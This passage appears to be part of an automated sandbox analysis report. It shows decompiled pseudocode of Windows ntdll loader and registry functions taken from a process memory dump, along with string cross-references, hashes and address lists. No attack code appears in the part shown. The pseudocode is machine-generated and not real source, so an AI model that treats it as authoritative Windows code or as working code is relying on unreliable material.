                                      									E03678999(_t19,  &_v16);
                                      									__eflags = _v0;
                                      									if(_v0 != 0) {
                                      										__eflags = _v0 - 1;
                                      										if(_v0 != 1) {
                                      											goto L22;
                                      										} else {
                                      											_t128 =  *(_t161 + 0x64);
                                      											__eflags =  *(_t161 + 0x64);
                                      											if( *(_t161 + 0x64) == 0) {
                                      												goto L22;
                                      											} else {
                                      												E03678999(_t128,  &_v12);
                                      												_t147 = _v12;
                                      												_t91 = 0;
                                      												__eflags = 0;
                                      												_t129 =  *_t147;
                                      												while(1) {
                                      													__eflags =  *((intOrPtr*)(0x3755c60 + _t91 * 8)) - _t129;
                                      													if( *((intOrPtr*)(0x3755c60 + _t91 * 8)) == _t129) {
                                      														break;
                                      													}
                                      													_t91 = _t91 + 1;
                                      													__eflags = _t91 - 5;
                                      													if(_t91 < 5) {
                                      														continue;
                                      													} else {
                                      														_t131 = 0;
                                      														__eflags = 0;
                                      													}
                                      													L37:
                                      													__eflags = _t131;
                                      													if(_t131 != 0) {
                                      														goto L22;
                                      													} else {
                                      														__eflags = _v16 - _t147;
                                      														if(_v16 != _t147) {
                                      															goto L22;
                                      														} else {
                                      															E03682280(_t92, 0x37586cc);
                                      															_t94 = E03739DFB( &_v20);
                                      															__eflags = _t94 - 1;
                                      															if(_t94 != 1) {
                                      															}
                                      															asm("movsd");
                                      															asm("movsd");
                                      															asm("movsd");
                                      															asm("movsd");
                                      															 *_t118 =  *_t118 + 1;
                                      															asm("adc dword [ebx+0x4], 0x0");
                                      															_t95 = E036961A0( &_v32);
                                      															__eflags = _t95;
                                      															if(_t95 != 0) {
                                      																__eflags = _v32 | _v28;
                                      																if((_v32 | _v28) != 0) {
                                      																	_t71 = _t118 + 0x40; // 0x3f
                                      																	_t134 = _t71;
                                      																	goto L55;
                                      																}
                                      															}
                                      															goto L30;
                                      														}
                                      													}
                                      													goto L56;
                                      												}
                                      												_t92 = 0x3755c64 + _t91 * 8;
                                      												asm("lock xadd [eax], ecx");
                                      												_t131 = (_t129 | 0xffffffff) - 1;
                                      												goto L37;
                                      											}
                                      										}
                                      										goto L56;
                                      									} else {
                                      										_t143 = E03678A0A( *((intOrPtr*)(_t161 + 0x18)),  &_v12);
                                      										__eflags = _t143;
                                      										if(_t143 != 0) {
                                      											_t157 = _v12;
                                      											_t103 = 0;
                                      											__eflags = 0;
                                      											_t136 =  &(_t157[1]);
                                      											 *(_t161 + 0x64) = _t136;
                                      											_t151 =  *_t157;
                                      											_v20 = _t136;
                                      											while(1) {
                                      												__eflags =  *((intOrPtr*)(0x3755c60 + _t103 * 8)) - _t151;
                                      												if( *((intOrPtr*)(0x3755c60 + _t103 * 8)) == _t151) {
                                      													break;
                                      												}
                                      												_t103 = _t103 + 1;
                                      												__eflags = _t103 - 5;
                                      												if(_t103 < 5) {
                                      													continue;
                                      												}
                                      												L21:
                                      												_t105 = E036AF380(_t136, 0x3641184, 0x10);
                                      												__eflags = _t105;
                                      												if(_t105 != 0) {
                                      													__eflags =  *_t157 -  *_v16;
                                      													if( *_t157 >=  *_v16) {
                                      														goto L22;
                                      													} else {
                                      														asm("cdq");
                                      														_t166 = _t157[5] & 0x0000ffff;
                                      														_t108 = _t157[5] & 0x0000ffff;
                                      														asm("cdq");
                                      														_t168 = _t166 << 0x00000010 | _t157[5] & 0x0000ffff;
                                      														__eflags = ((_t151 << 0x00000020 | _t166) << 0x10 | _t151) -  *((intOrPtr*)(_t118 + 0x2c));
                                      														if(__eflags > 0) {
                                      															L29:
                                      															E03682280(_t108, 0x37586cc);
                                      															 *_t118 =  *_t118 + 1;
                                      															_t42 = _t118 + 0x40; // 0x3f
                                      															_t156 = _t42;
                                      															asm("adc dword [ebx+0x4], 0x0");
                                      															asm("movsd");
                                      															asm("movsd");
                                      															asm("movsd");
                                      															asm("movsd");
                                      															_t110 = E036961A0( &_v32);
                                      															__eflags = _t110;
                                      															if(_t110 != 0) {
                                      																__eflags = _v32 | _v28;
                                      																if((_v32 | _v28) != 0) {
                                      																	_t134 = _v20;
                                      																	L55:
                                      																	E03739D2E(_t134, 1, _v32, _v28,  *(_v24 + 0x24) & 0x0000ffff,  *((intOrPtr*)(_v24 + 0x28)));
                                      																}
                                      															}
                                      															L30:
                                      															 *_t118 =  *_t118 + 1;
                                      															asm("adc dword [ebx+0x4], 0x0");
                                      															E0367FFB0(_t118, _t156, 0x37586cc);
                                      															goto L22;
                                      														} else {
                                      															if(__eflags < 0) {
                                      																goto L22;
                                      															} else {
                                      																__eflags = _t168 -  *((intOrPtr*)(_t118 + 0x28));
                                      																if(_t168 <  *((intOrPtr*)(_t118 + 0x28))) {
                                      																	goto L22;
                                      																} else {
                                      																	goto L29;
                                      																}
                                      															}
                                      														}
                                      													}
                                      													goto L56;
                                      												}
                                      												goto L22;
                                      											}
                                      											asm("lock inc dword [eax]");
                                      											goto L21;
                                      										}
                                      									}
                                      								}
                                      							}
                                      						}
                                      						return _t143;
                                      					}
                                      				} else {
                                      					_push( &_v8);
                                      					_push( *((intOrPtr*)(__ecx + 0x50)));
                                      					_push(__ecx + 0x40);
                                      					_push(_t121);
                                      					_push(0xffffffff);
                                      					_t80 = E036A9A00();
                                      					_t159 = _t80;
                                      					if(_t159 < 0) {
                                      						L8:
                                      						return _t80;
                                      					} else {
                                      						goto L2;
                                      					}
                                      				}
                                      				L56:
                                      			}












































                                      0x03678799
                                      0x0367879d
                                      0x036787a1
                                      0x036787a3
                                      0x036787a8
                                      0x036787c3
                                      0x036787c3
                                      0x036787c8
                                      0x036787d1
                                      0x036787d4
                                      0x036787d8
                                      0x036787e5
                                      0x036787ec
                                      0x036c9bfe
                                      0x036c9c00
                                      0x036c9c02
                                      0x036c9c08
                                      0x036c9c0d
                                      0x036c9c0f
                                      0x036c9c14
                                      0x036c9c2d
                                      0x036c9c32
                                      0x036c9c37
                                      0x036c9c3a
                                      0x036c9c3c
                                      0x036c9c42
                                      0x036c9c42
                                      0x036c9c3c
                                      0x036c9c02
                                      0x036787da
                                      0x036787df
                                      0x036787e3
                                      0x00000000
                                      0x00000000
                                      0x036787e3
                                      0x036787f2
                                      0x00000000
                                      0x036787fb
                                      0x036787fd
                                      0x036787fe
                                      0x0367880e
                                      0x0367880f
                                      0x03678810
                                      0x03678814
                                      0x0367881a
                                      0x0367881c
                                      0x0367881f
                                      0x03678821
                                      0x03678822
                                      0x03678824
                                      0x03678826
                                      0x0367882c
                                      0x0367882e
                                      0x036c9c48
                                      0x036c9c48
                                      0x03678834
                                      0x03678834
                                      0x03678837
                                      0x00000000
                                      0x00000000
                                      0x03678837
                                      0x0367882e
                                      0x0367883d
                                      0x03678840
                                      0x03678843
                                      0x03678846
                                      0x03678849
                                      0x0367884c
                                      0x0367884e
                                      0x03678850
                                      0x03678852
                                      0x03678854
                                      0x03678857
                                      0x036788b4
                                      0x036788b6
                                      0x036788b6
                                      0x03678859
                                      0x03678859
                                      0x03678859
                                      0x03678861
                                      0x03678866
                                      0x0367886a
                                      0x0367893d
                                      0x03678941
                                      0x00000000
                                      0x03678947
                                      0x03678947
                                      0x0367894a
                                      0x0367894c
                                      0x00000000
                                      0x03678952
                                      0x03678955
                                      0x0367895a
                                      0x0367895d
                                      0x0367895d
                                      0x0367895f
                                      0x03678961
                                      0x03678961
                                      0x03678968
                                      0x00000000
                                      0x00000000
                                      0x0367896a
                                      0x0367896b
                                      0x0367896e
                                      0x00000000
                                      0x03678970
                                      0x03678970
                                      0x03678970
                                      0x03678970
                                      0x03678972
                                      0x03678972
                                      0x03678974
                                      0x00000000
                                      0x0367897a
                                      0x0367897a
                                      0x0367897d
                                      0x00000000
                                      0x03678983
                                      0x036c9c65
                                      0x036c9c6d
                                      0x036c9c72
                                      0x036c9c75
                                      0x036c9c75
                                      0x036c9c82
                                      0x036c9c86
                                      0x036c9c87
                                      0x036c9c88
                                      0x036c9c89
                                      0x036c9c8c
                                      0x036c9c90
                                      0x036c9c95
                                      0x036c9c97
                                      0x036c9ca0
                                      0x036c9ca3
                                      0x036c9ca9
                                      0x036c9ca9
                                      0x00000000
                                      0x036c9ca9
                                      0x036c9ca3
                                      0x00000000
                                      0x036c9c97
                                      0x0367897d
                                      0x00000000
                                      0x03678974
                                      0x03678988
                                      0x03678992
                                      0x03678996
                                      0x00000000
                                      0x03678996
                                      0x0367894c
                                      0x00000000
                                      0x03678870
                                      0x0367887b
                                      0x0367887d
                                      0x0367887f
                                      0x03678881
                                      0x03678884
                                      0x03678884
                                      0x03678886
                                      0x03678889
                                      0x0367888c
                                      0x0367888e
                                      0x03678891
                                      0x03678891
                                      0x03678898
                                      0x00000000
                                      0x00000000
                                      0x0367889a
                                      0x0367889b
                                      0x0367889e
                                      0x00000000
                                      0x00000000
                                      0x036788a0
                                      0x036788a8
                                      0x036788b0
                                      0x036788b2
                                      0x036788d3
                                      0x036788d5
                                      0x00000000
                                      0x036788d7
                                      0x036788db
                                      0x036788dc
                                      0x036788e0
                                      0x036788e8
                                      0x036788ee
                                      0x036788f0
                                      0x036788f3
                                      0x036788fc
                                      0x03678901
                                      0x03678906
                                      0x0367890c
                                      0x0367890c
                                      0x0367890f
                                      0x03678916
                                      0x03678917
                                      0x03678918
                                      0x03678919
                                      0x0367891a
                                      0x0367891f
                                      0x03678921
                                      0x036c9c52
                                      0x036c9c55
                                      0x036c9c5b
                                      0x036c9cac
                                      0x036c9cc0
                                      0x036c9cc0
                                      0x036c9c55
                                      0x03678927
                                      0x03678927
                                      0x0367892f
                                      0x03678933
                                      0x00000000
                                      0x036788f5
                                      0x036788f5
                                      0x00000000
                                      0x036788f7
                                      0x036788f7
                                      0x036788fa
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x036788fa
                                      0x036788f5
                                      0x036788f3
                                      0x00000000
                                      0x036788d5
                                      0x00000000
                                      0x036788b2
                                      0x036788c9
                                      0x00000000
                                      0x036788c9
                                      0x0367887f
                                      0x0367886a
                                      0x03678857
                                      0x03678852
                                      0x036788bf
                                      0x036788bf
                                      0x036787aa
                                      0x036787ad
                                      0x036787ae
                                      0x036787b4
                                      0x036787b5
                                      0x036787b6
                                      0x036787b8
                                      0x036787bd
                                      0x036787c1
                                      0x036787f4
                                      0x036787fa
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x036787c1
                                      0x00000000

                                      Strings
                                      • LdrpDoPostSnapWork, xrefs: 036C9C1E
                                      • minkernel\ntdll\ldrsnap.c, xrefs: 036C9C28
                                      • LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x, xrefs: 036C9C18
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID: LdrpDoPostSnapWork$LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x$minkernel\ntdll\ldrsnap.c
                                      • API String ID: 0-1948996284
                                      • Opcode ID: d80a982dc0459cfe013fe80697052f86aa0b0f312b372cbc36e1130b2571dc41
                                      • Instruction ID: 2011c1aeb02260fc65858561d2dfa553088179ba1614e1012e984dbca5a49041
                                      • Opcode Fuzzy Hash: d80a982dc0459cfe013fe80697052f86aa0b0f312b372cbc36e1130b2571dc41
                                      • Instruction Fuzzy Hash: 3491D271A0031ADFDB18DF58C58AABEB7B9FF45310B9841ADD906AB241D770ED01CB94
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 98%
                                      			E03677E41(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
                                      				char _v8;
                                      				intOrPtr _v12;
                                      				intOrPtr _v16;
                                      				intOrPtr _v20;
                                      				char _v24;
                                      				signed int _t73;
                                      				void* _t77;
                                      				char* _t82;
                                      				char* _t87;
                                      				signed char* _t97;
                                      				signed char _t102;
                                      				intOrPtr _t107;
                                      				signed char* _t108;
                                      				intOrPtr _t112;
                                      				intOrPtr _t124;
                                      				intOrPtr _t125;
                                      				intOrPtr _t126;
                                      
                                      				_t107 = __edx;
                                      				_v12 = __ecx;
                                      				_t125 =  *((intOrPtr*)(__ecx + 0x20));
                                      				_t124 = 0;
                                      				_v20 = __edx;
                                      				if(E0367CEE4( *((intOrPtr*)(_t125 + 0x18)), 1, 0xe,  &_v24,  &_v8) >= 0) {
                                      					_t112 = _v8;
                                      				} else {
                                      					_t112 = 0;
                                      					_v8 = 0;
                                      				}
                                      				if(_t112 != 0) {
                                      					if(( *(_v12 + 0x10) & 0x00800000) != 0) {
                                      						_t124 = 0xc000007b;
                                      						goto L8;
                                      					}
                                      					_t73 =  *(_t125 + 0x34) | 0x00400000;
                                      					 *(_t125 + 0x34) = _t73;
                                      					if(( *(_t112 + 0x10) & 0x00000001) == 0) {
                                      						goto L3;
                                      					}
                                      					 *(_t125 + 0x34) = _t73 | 0x01000000;
                                      					_t124 = E0366C9A4( *((intOrPtr*)(_t125 + 0x18)));
                                      					if(_t124 < 0) {
                                      						goto L8;
                                      					} else {
                                      						goto L3;
                                      					}
                                      				} else {
                                      					L3:
                                      					if(( *(_t107 + 0x16) & 0x00002000) == 0) {
                                      						 *(_t125 + 0x34) =  *(_t125 + 0x34) & 0xfffffffb;
                                      						L8:
                                      						return _t124;
                                      					}
                                      					if(( *( *((intOrPtr*)(_t125 + 0x5c)) + 0x10) & 0x00000080) != 0) {
                                      						if(( *(_t107 + 0x5e) & 0x00000080) != 0) {
                                      							goto L5;
                                      						}
                                      						_t102 =  *0x3755780; // 0x0
                                      						if((_t102 & 0x00000003) != 0) {
                                      							E036E5510("minkernel\\ntdll\\ldrmap.c", 0x363, "LdrpCompleteMapModule", 0, "Could not validate the crypto signature for DLL %wZ\n", _t125 + 0x24);
                                      							_t102 =  *0x3755780; // 0x0
                                      						}
                                      						if((_t102 & 0x00000010) != 0) {
                                      							asm("int3");
                                      						}
                                      						_t124 = 0xc0000428;
                                      						goto L8;
                                      					}
                                      					L5:
                                      					if(( *(_t125 + 0x34) & 0x01000000) != 0) {
                                      						goto L8;
                                      					}
                                      					_t77 = _a4 - 0x40000003;
                                      					if(_t77 == 0 || _t77 == 0x33) {
                                      						_v16 =  *((intOrPtr*)(_t125 + 0x18));
                                      						if(E03687D50() != 0) {
                                      							_t82 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
                                      						} else {
                                      							_t82 = 0x7ffe0384;
                                      						}
                                      						_t108 = 0x7ffe0385;
                                      						if( *_t82 != 0) {
                                      							if(( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
                                      								if(E03687D50() == 0) {
                                      									_t97 = 0x7ffe0385;
                                      								} else {
                                      									_t97 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
                                      								}
                                      								if(( *_t97 & 0x00000020) != 0) {
                                      									E036E7016(0x1490, _v16, 0xffffffff, 0xffffffff, 0, 0);
                                      								}
                                      							}
                                      						}
                                      						if(_a4 != 0x40000003) {
                                      							L14:
                                      							_t126 =  *((intOrPtr*)(_t125 + 0x18));
                                      							if(E03687D50() != 0) {
                                      								_t87 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
                                      							} else {
                                      								_t87 = 0x7ffe0384;
                                      							}
                                      							if( *_t87 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
                                      								if(E03687D50() != 0) {
                                      									_t108 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
                                      								}
                                      								if(( *_t108 & 0x00000020) != 0) {
                                      									E036E7016(0x1491, _t126, 0xffffffff, 0xffffffff, 0, 0);
                                      								}
                                      							}
                                      							goto L8;
                                      						} else {
                                      							_v16 = _t125 + 0x24;
                                      							_t124 = E0369A1C3( *((intOrPtr*)(_t125 + 0x18)),  *((intOrPtr*)(_v12 + 0x5c)), _v20, _t125 + 0x24);
                                      							if(_t124 < 0) {
                                      								E0366B1E1(_t124, 0x1490, 0, _v16);
                                      								goto L8;
                                      							}
                                      							goto L14;
                                      						}
                                      					} else {
                                      						goto L8;
                                      					}
                                      				}
                                      			}




















                                      0x03677e4c
                                      0x03677e50
                                      0x03677e55
                                      0x03677e58
                                      0x03677e5d
                                      0x03677e71
                                      0x03677f33
                                      0x03677e77
                                      0x03677e77
                                      0x03677e79
                                      0x03677e79
                                      0x03677e7e
                                      0x03677f45
                                      0x036c9848
                                      0x00000000
                                      0x036c9848
                                      0x03677f4e
                                      0x03677f53
                                      0x03677f5a
                                      0x00000000
                                      0x00000000
                                      0x036c985a
                                      0x036c9862
                                      0x036c9866
                                      0x00000000
                                      0x036c986c
                                      0x00000000
                                      0x036c986c
                                      0x03677e84
                                      0x03677e84
                                      0x03677e8d
                                      0x036c9871
                                      0x03677eb8
                                      0x03677ec0
                                      0x03677ec0
                                      0x03677e9a
                                      0x036c987e
                                      0x00000000
                                      0x00000000
                                      0x036c9884
                                      0x036c988b
                                      0x036c98a7
                                      0x036c98ac
                                      0x036c98b1
                                      0x036c98b6
                                      0x036c98b8
                                      0x036c98b8
                                      0x036c98b9
                                      0x00000000
                                      0x036c98b9
                                      0x03677ea0
                                      0x03677ea7
                                      0x00000000
                                      0x00000000
                                      0x03677eac
                                      0x03677eb1
                                      0x03677ec6
                                      0x03677ed0
                                      0x036c98cc
                                      0x03677ed6
                                      0x03677ed6
                                      0x03677ed6
                                      0x03677ede
                                      0x03677ee3
                                      0x036c98e3
                                      0x036c98f0
                                      0x036c9902
                                      0x036c98f2
                                      0x036c98fb
                                      0x036c98fb
                                      0x036c9907
                                      0x036c991d
                                      0x036c991d
                                      0x036c9907
                                      0x036c98e3
                                      0x03677ef0
                                      0x03677f14
                                      0x03677f14
                                      0x03677f1e
                                      0x036c9946
                                      0x03677f24
                                      0x03677f24
                                      0x03677f24
                                      0x03677f2c
                                      0x036c996a
                                      0x036c9975
                                      0x036c9975
                                      0x036c997e
                                      0x036c9993
                                      0x036c9993
                                      0x036c997e
                                      0x00000000
                                      0x03677ef2
                                      0x03677efc
                                      0x03677f0a
                                      0x03677f0e
                                      0x036c9933
                                      0x00000000
                                      0x036c9933
                                      0x00000000
                                      0x03677f0e
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x03677eb1

                                      Strings
                                      • LdrpCompleteMapModule, xrefs: 036C9898
                                      • Could not validate the crypto signature for DLL %wZ, xrefs: 036C9891
                                      • minkernel\ntdll\ldrmap.c, xrefs: 036C98A2
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID: Could not validate the crypto signature for DLL %wZ$LdrpCompleteMapModule$minkernel\ntdll\ldrmap.c
                                      • API String ID: 0-1676968949
                                      • Opcode ID: b621937b33bb88aa85a1ef4ada6a1a5719d63b1d1c4fb13205e3631fda73481d
                                      • Instruction ID: 1b77810623f503a856bdb359fe2879a288141a6eae7b4c77a22899140e4af803
                                      • Opcode Fuzzy Hash: b621937b33bb88aa85a1ef4ada6a1a5719d63b1d1c4fb13205e3631fda73481d
                                      • Instruction Fuzzy Hash: D9510331A10784DBEB21CB68CA44B3ABBE4FB05314F9806ADE8519B7E1D774ED01C751
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 93%
                                      			E0366E620(void* __ecx, short* __edx, short* _a4) {
                                      				char _v16;
                                      				char _v20;
                                      				intOrPtr _v24;
                                      				char* _v28;
                                      				char _v32;
                                      				char _v36;
                                      				char _v44;
                                      				signed int _v48;
                                      				intOrPtr _v52;
                                      				void* _v56;
                                      				void* _v60;
                                      				char _v64;
                                      				void* _v68;
                                      				void* _v76;
                                      				void* _v84;
                                      				signed int _t59;
                                      				signed int _t74;
                                      				signed short* _t75;
                                      				signed int _t76;
                                      				signed short* _t78;
                                      				signed int _t83;
                                      				short* _t93;
                                      				signed short* _t94;
                                      				short* _t96;
                                      				void* _t97;
                                      				signed int _t99;
                                      				void* _t101;
                                      				void* _t102;
                                      
                                      				_t80 = __ecx;
                                      				_t101 = (_t99 & 0xfffffff8) - 0x34;
                                      				_t96 = __edx;
                                      				_v44 = __edx;
                                      				_t78 = 0;
                                      				_v56 = 0;
                                      				if(__ecx == 0 || __edx == 0) {
                                      					L28:
                                      					_t97 = 0xc000000d;
                                      				} else {
                                      					_t93 = _a4;
                                      					if(_t93 == 0) {
                                      						goto L28;
                                      					}
                                      					_t78 = E0366F358(__ecx, 0xac);
                                      					if(_t78 == 0) {
                                      						_t97 = 0xc0000017;
                                      						L6:
                                      						if(_v56 != 0) {
                                      							_push(_v56);
                                      							E036A95D0();
                                      						}
                                      						if(_t78 != 0) {
                                      							L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t78);
                                      						}
                                      						return _t97;
                                      					}
                                      					E036AFA60(_t78, 0, 0x158);
                                      					_v48 = _v48 & 0x00000000;
                                      					_t102 = _t101 + 0xc;
                                      					 *_t96 = 0;
                                      					 *_t93 = 0;
                                      					E036ABB40(_t80,  &_v36, L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\NLS\\Language");
                                      					_v36 = 0x18;
                                      					_v28 =  &_v44;
                                      					_v64 = 0;
                                      					_push( &_v36);
                                      					_push(0x20019);
                                      					_v32 = 0;
                                      					_push( &_v64);
                                      					_v24 = 0x40;
                                      					_v20 = 0;
                                      					_v16 = 0;
                                      					_t97 = E036A9600();
                                      					if(_t97 < 0) {
                                      						goto L6;
                                      					}
                                      					E036ABB40(0,  &_v36, L"InstallLanguageFallback");
                                      					_push(0);
                                      					_v48 = 4;
                                      					_t97 = L0366F018(_v64,  &_v44,  &_v56, _t78,  &_v48);
                                      					if(_t97 >= 0) {
                                      						if(_v52 != 1) {
                                      							L17:
                                      							_t97 = 0xc0000001;
                                      							goto L6;
                                      						}
                                      						_t59 =  *_t78 & 0x0000ffff;
                                      						_t94 = _t78;
                                      						_t83 = _t59;
                                      						if(_t59 == 0) {
                                      							L19:
                                      							if(_t83 == 0) {
                                      								L23:
                                      								E036ABB40(_t83, _t102 + 0x24, _t78);
                                      								if(L036743C0( &_v48,  &_v64) == 0) {
                                      									goto L17;
                                      								}
                                      								_t84 = _v48;
                                      								 *_v48 = _v56;
                                      								if( *_t94 != 0) {
                                      									E036ABB40(_t84, _t102 + 0x24, _t94);
                                      									if(L036743C0( &_v48,  &_v64) != 0) {
                                      										 *_a4 = _v56;
                                      									} else {
                                      										_t97 = 0xc0000001;
                                      										 *_v48 = 0;
                                      									}
                                      								}
                                      								goto L6;
                                      							}
                                      							_t83 = _t83 & 0x0000ffff;
                                      							while(_t83 == 0x20) {
                                      								_t94 =  &(_t94[1]);
                                      								_t74 =  *_t94 & 0x0000ffff;
                                      								_t83 = _t74;
                                      								if(_t74 != 0) {
                                      									continue;
                                      								}
                                      								goto L23;
                                      							}
                                      							goto L23;
                                      						} else {
                                      							goto L14;
                                      						}
                                      						while(1) {
                                      							L14:
                                      							_t27 =  &(_t94[1]); // 0x2
                                      							_t75 = _t27;
                                      							if(_t83 == 0x2c) {
                                      								break;
                                      							}
                                      							_t94 = _t75;
                                      							_t76 =  *_t94 & 0x0000ffff;
                                      							_t83 = _t76;
                                      							if(_t76 != 0) {
                                      								continue;
                                      							}
                                      							goto L23;
                                      						}
                                      						 *_t94 = 0;
                                      						_t94 = _t75;
                                      						_t83 =  *_t75 & 0x0000ffff;
                                      						goto L19;
                                      					}
                                      				}
                                      			}































                                      0x0366e620
                                      0x0366e628
                                      0x0366e62f
                                      0x0366e631
                                      0x0366e635
                                      0x0366e637
                                      0x0366e63e
                                      0x036c5503
                                      0x036c5503
                                      0x0366e64c
                                      0x0366e64c
                                      0x0366e651
                                      0x00000000
                                      0x00000000
                                      0x0366e661
                                      0x0366e665
                                      0x036c542a
                                      0x0366e715
                                      0x0366e71a
                                      0x0366e71c
                                      0x0366e720
                                      0x0366e720
                                      0x0366e727
                                      0x0366e736
                                      0x0366e736
                                      0x0366e743
                                      0x0366e743
                                      0x0366e673
                                      0x0366e678
                                      0x0366e67d
                                      0x0366e682
                                      0x0366e685
                                      0x0366e692
                                      0x0366e69b
                                      0x0366e6a3
                                      0x0366e6ad
                                      0x0366e6b1
                                      0x0366e6b2
                                      0x0366e6bb
                                      0x0366e6bf
                                      0x0366e6c0
                                      0x0366e6c8
                                      0x0366e6cc
                                      0x0366e6d5
                                      0x0366e6d9
                                      0x00000000
                                      0x00000000
                                      0x0366e6e5
                                      0x0366e6ea
                                      0x0366e6f9
                                      0x0366e70b
                                      0x0366e70f
                                      0x036c5439
                                      0x036c545e
                                      0x036c545e
                                      0x00000000
                                      0x036c545e
                                      0x036c543b
                                      0x036c543e
                                      0x036c5440
                                      0x036c5445
                                      0x036c5472
                                      0x036c5475
                                      0x036c548d
                                      0x036c5493
                                      0x036c54a9
                                      0x00000000
                                      0x00000000
                                      0x036c54ab
                                      0x036c54b4
                                      0x036c54bc
                                      0x036c54c8
                                      0x036c54de
                                      0x036c54fb
                                      0x036c54e0
                                      0x036c54e6
                                      0x036c54eb
                                      0x036c54eb
                                      0x036c54de
                                      0x00000000
                                      0x036c54bc
                                      0x036c5477
                                      0x036c547a
                                      0x036c5480
                                      0x036c5483
                                      0x036c5486
                                      0x036c548b
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x036c548b
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x036c5447
                                      0x036c5447
                                      0x036c5447
                                      0x036c5447
                                      0x036c544e
                                      0x00000000
                                      0x00000000
                                      0x036c5450
                                      0x036c5452
                                      0x036c5455
                                      0x036c545a
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x036c545c
                                      0x036c546a
                                      0x036c546d
                                      0x036c546f
                                      0x00000000
                                      0x036c546f
                                      0x0366e70f

                                      Strings
                                      • InstallLanguageFallback, xrefs: 0366E6DB
                                      • \Registry\Machine\System\CurrentControlSet\Control\NLS\Language, xrefs: 0366E68C
                                      • @, xrefs: 0366E6C0
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID: @$InstallLanguageFallback$\Registry\Machine\System\CurrentControlSet\Control\NLS\Language
                                      • API String ID: 0-1757540487
                                      • Opcode ID: 7fa3c91615fa5266b1204e9db980c6a339a1a164e8f3c45447d58f8333c3c004
                                      • Instruction ID: e7edd11d33010681921771309d10b659791762dbbf1f1b5c1b9f19a0319fe29d
                                      • Opcode Fuzzy Hash: 7fa3c91615fa5266b1204e9db980c6a339a1a164e8f3c45447d58f8333c3c004
                                      • Instruction Fuzzy Hash: E551D2755183459BC710DF66C944ABBB3E8EF89754F49092EF986DB340EB30E904CBA2
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 77%
                                      			E036E51BE(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
                                      				signed short* _t63;
                                      				signed int _t64;
                                      				signed int _t65;
                                      				signed int _t67;
                                      				intOrPtr _t74;
                                      				intOrPtr _t84;
                                      				intOrPtr _t88;
                                      				intOrPtr _t94;
                                      				void* _t100;
                                      				void* _t103;
                                      				intOrPtr _t105;
                                      				signed int _t106;
                                      				short* _t108;
                                      				signed int _t110;
                                      				signed int _t113;
                                      				signed int* _t115;
                                      				signed short* _t117;
                                      				void* _t118;
                                      				void* _t119;
                                      
                                      				_push(0x80);
                                      				_push(0x37405f0);
                                      				E036BD0E8(__ebx, __edi, __esi);
                                      				 *((intOrPtr*)(_t118 - 0x80)) = __edx;
                                      				_t115 =  *(_t118 + 0xc);
                                      				 *(_t118 - 0x7c) = _t115;
                                      				 *((char*)(_t118 - 0x65)) = 0;
                                      				 *((intOrPtr*)(_t118 - 0x64)) = 0;
                                      				_t113 = 0;
                                      				 *((intOrPtr*)(_t118 - 0x6c)) = 0;
                                      				 *((intOrPtr*)(_t118 - 4)) = 0;
                                      				_t100 = __ecx;
                                      				if(_t100 == 0) {
                                      					 *(_t118 - 0x90) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
                                      					E0367EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
                                      					 *((char*)(_t118 - 0x65)) = 1;
                                      					_t63 =  *(_t118 - 0x90);
                                      					_t101 = _t63[2];
                                      					_t64 =  *_t63 & 0x0000ffff;
                                      					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
                                      					L20:
                                      					_t65 = _t64 >> 1;
                                      					L21:
                                      					_t108 =  *((intOrPtr*)(_t118 - 0x80));
                                      					if(_t108 == 0) {
                                      						L27:
                                      						 *_t115 = _t65 + 1;
                                      						_t67 = 0xc0000023;
                                      						L28:
                                      						 *((intOrPtr*)(_t118 - 0x64)) = _t67;
                                      						L29:
                                      						 *((intOrPtr*)(_t118 - 4)) = 0xfffffffe;
                                      						E036E53CA(0);
                                      						return E036BD130(0, _t113, _t115);
                                      					}
                                      					if(_t65 >=  *((intOrPtr*)(_t118 + 8))) {
